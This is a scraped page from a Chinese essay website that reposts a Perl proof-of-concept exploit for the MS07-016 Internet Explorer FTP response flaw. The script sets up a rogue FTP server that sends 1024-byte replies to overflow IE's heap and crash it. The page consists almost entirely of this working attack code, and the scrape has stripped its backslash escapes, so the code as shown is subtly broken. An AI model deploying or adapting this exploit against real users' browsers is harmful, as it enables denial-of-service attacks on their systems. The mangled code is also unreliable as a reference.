• 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
  • 当前位置: 山茶花美文网 > 人生哲理 > 正文

    MS,Internet,Explorer,(FTP,Server,Response),DoS,Exploit_MS

    时间:2020-02-18来源:山茶花美文网 本文已影响 山茶花美文网手机站

    #!/usr/bin/perl

    # MS 07-016 FTP Server Response PoC

    # Usage: ./ms07016ftp.pl [LISTEN_IP]

    #

    # Tested Against: MSIE 6.02900.2180 (SP2)

    #

    # Details: The response is broken into buffers, either at length 1024,

    # or at "rn". Each buffer is apended with x00, without

    # bounds checking. If the response is exctly 1024 characters

    # in length, you will overflow the heap with the string x00.

    use IO::Socket;

    use strict;

    # Create listener

    my $ip=shift || "127.0.0.1";

    my $sock = IO::Socket::INET->new(Listen=>1,

    LocalHost=>$ip,

    LocalPort=>"21",

    Proto=>"tcp");

    $sock or die ("Could not create listener.nMake sure no FTP server is running, and you are running this as root.n");

    # Wait for initial connection and send banner

    my $sock_in = $sock->accept();

    print $sock_in "220 waa waa wee waarn";

    # Send response code with total lenght of response = 1024

    while (<$sock_in>){

    my $response;

    if($_ eq "USER") { $response="331 ";}

    elsif($_ eq "PASS") { $response="230 ";}

    elsif($_ eq "syst") { $response="215 ";}

    elsif($_ eq "CWD") { $response="250 ";}

    elsif($_ eq "PWD") { $response="230 ";}

    else { $response="200 ";}

    print $sock_in $response."A"x(1024-length($response)-2)."rn";

    }

    close($sock);

    //http://www.heibai.net

    • MS,Internet,Explorer,(FTP,Server,Response),DoS,Exploit_MS 相关文章:
    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全